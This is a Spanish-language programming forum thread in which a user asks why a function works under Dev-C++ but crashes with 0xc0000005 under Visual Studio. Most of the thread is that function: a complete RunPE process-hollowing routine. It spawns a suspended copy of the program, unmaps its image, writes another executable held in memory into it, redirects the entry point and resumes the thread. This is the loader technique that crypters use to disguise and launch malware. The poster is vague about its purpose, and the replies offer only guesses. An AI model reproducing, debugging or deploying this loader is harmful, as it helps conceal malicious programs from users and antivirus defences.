| |||
Compilar con IDE's distintos Tengo un trozo de codigo que al ser compilado con DEV c++ no me causa ningun problema pero al compilarlo en VISUAL STUDIO me tira 4 o 5 errores...los he corregido pero el programa salta con un error 0xc0000005. Por que con uno va y con otro no? |
| |||
Respuesta: Compilar con IDE's distintos Depende de muchas cosas y librerias...podrias enseñarnos el codigo o parte del codigo?? Y darnos mas detalles del error. Saludos |
| |||
Respuesta: Compilar con IDE's distintos
Código:
Bueno pues este es el codigo. No entiendo por que funciona perfectamente en dev c++ y en Visual Studio no... void RunFromMemory(char* pImage) { DWORD dwWritten = 0; DWORD dwHeader = 0; DWORD dwImageSize = 0; DWORD dwSectionCount = 0; DWORD dwSectionSize = 0; DWORD firstSection = 0; DWORD previousProtection = 0; DWORD jmpSize = 0; IMAGE_NT_HEADERS INH; IMAGE_DOS_HEADER IDH; IMAGE_SECTION_HEADER Sections[1000]; PROCESS_INFORMATION peProcessInformation; STARTUPINFO peStartUpInformation; CONTEXT pContext; char* pMemory; char* pFile; char pPath[MAX_PATH]; GetModuleFileName(NULL,pPath,MAX_PATH); char* lfMemory; int fSize; FILE* pLocalFile = fopen(pPath,"rb"); fseek(pLocalFile,0,SEEK_END); fSize = ftell(pLocalFile); rewind(pLocalFile); lfMemory = (char*)malloc(fSize); fread(lfMemory,1,fSize,pLocalFile); fclose(pLocalFile); memcpy(&IDH,lfMemory,sizeof(IDH)); memcpy(&INH,(void*)((DWORD)lfMemory+IDH.e_lfanew),sizeof(INH)); free(lfMemory); DWORD localImageBase = INH.OptionalHeader.ImageBase; DWORD localImageSize = INH.OptionalHeader.SizeOfImage; memcpy(&IDH,pImage,sizeof(IDH)); memcpy(&INH,(void*)((DWORD)pImage+IDH.e_lfanew),sizeof(INH)); dwImageSize = INH.OptionalHeader.SizeOfImage; pMemory = (char*)malloc(dwImageSize); memset(pMemory,0,dwImageSize); pFile = pMemory; dwHeader = INH.OptionalHeader.SizeOfHeaders; firstSection = (DWORD)(((DWORD)pImage+IDH.e_lfanew) + sizeof(IMAGE_NT_HEADERS)); memcpy(Sections,(char*)(firstSection),sizeof(IMAGE_SECTION_HEADER)*INH.FileHeader.NumberOfSections); memcpy(pFile,pImage,dwHeader); if((INH.OptionalHeader.SizeOfHeaders % INH.OptionalHeader.SectionAlignment)==0) jmpSize = INH.OptionalHeader.SizeOfHeaders; else { jmpSize = INH.OptionalHeader.SizeOfHeaders / INH.OptionalHeader.SectionAlignment; jmpSize += 1; jmpSize *= INH.OptionalHeader.SectionAlignment; } pFile = (char*)((DWORD)pFile + jmpSize); for(dwSectionCount = 0; dwSectionCount < INH.FileHeader.NumberOfSections; dwSectionCount++) { jmpSize = 0; dwSectionSize = Sections[dwSectionCount].SizeOfRawData; memcpy(pFile,(char*)(pImage + Sections[dwSectionCount].PointerToRawData),dwSectionSize); if((Sections[dwSectionCount].Misc.VirtualSize % INH.OptionalHeader.SectionAlignment)==0) jmpSize = Sections[dwSectionCount].Misc.VirtualSize; else { jmpSize = Sections[dwSectionCount].Misc.VirtualSize / INH.OptionalHeader.SectionAlignment; jmpSize += 1; jmpSize *= INH.OptionalHeader.SectionAlignment; } pFile = (char*)((DWORD)pFile + jmpSize); } memset(&peStartUpInformation,0,sizeof(STARTUPINFO)); memset(&peProcessInformation,0,sizeof(PROCESS_INFORMATION)); memset(&pContext,0,sizeof(CONTEXT)); peStartUpInformation.cb = sizeof(peStartUpInformation); if(CreateProcess(NULL,pPath,NULL,NULL,0,CREATE_SUSPENDED, NULL,NULL,&peStartUpInformation,&peProcessInformation)) { pContext.ContextFlags = CONTEXT_FULL; GetThreadContext(peProcessInformation.hThread,&pContext); if(INH.OptionalHeader.ImageBase==localImageBase&&INH.OptionalHeader.SizeOfImage<=localImageSize) VirtualProtectEx(peProcessInformation.hProcess,(LPVOID)(INH.OptionalHeader.ImageBase),dwImageSize,PAGE_EXECUTE_READWRITE,&previousProtection); else { NtUnmapViewOfSection(peProcessInformation.hProcess,(PVOID)(localImageBase)); VirtualAllocEx(peProcessInformation.hProcess,(LPVOID)(INH.OptionalHeader.ImageBase),dwImageSize,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); } WriteProcessMemory(peProcessInformation.hProcess,(void*)(INH.OptionalHeader.ImageBase),pMemory,dwImageSize,&dwWritten); WriteProcessMemory(peProcessInformation.hProcess,(void*)(pContext.Ebx + 8),&INH.OptionalHeader.ImageBase,4,&dwWritten); pContext.Eax = INH.OptionalHeader.ImageBase + INH.OptionalHeader.AddressOfEntryPoint; SetThreadContext(peProcessInformation.hThread,&pContext); VirtualProtectEx(peProcessInformation.hProcess,(void*)(INH.OptionalHeader.ImageBase),dwImageSize,previousProtection,0); ResumeThread(peProcessInformation.hThread); } free(pMemory); } |
| |||
Respuesta: Compilar con IDE's distintos No me da ningun error de compilacion.Al ejecutar la aplicacion dice " La aplicacion no se pudo iniciar correctamente ( 0xc0000005). Haga clic en aceptar para cerrarla". Y insisto que compilado en dev c++ funciona a la perfeccion xD |
| |||
Respuesta: Compilar con IDE's distintos No se la verdad. Por las funciones que usas, a lo mejor el compilador de microsoft le pone alguna restricciones al codigo...lo cual dudo, pero es lo unico que se me ocurre. Que es lo que hace ese codigo? |
| |||
Respuesta: Compilar con IDE's distintos Pues carga algo directamente desde la memoria.Tiene que haber alguna forma de que no salga ese error en visual...no puede ser que en uno vaya tan normal y en otro no. Yo personalmente no lo entiendo xD. En caso de que no pueda hacerlo compilar en visual, como añado un mapa de bits como recurso en dev c++ |
Etiquetas: |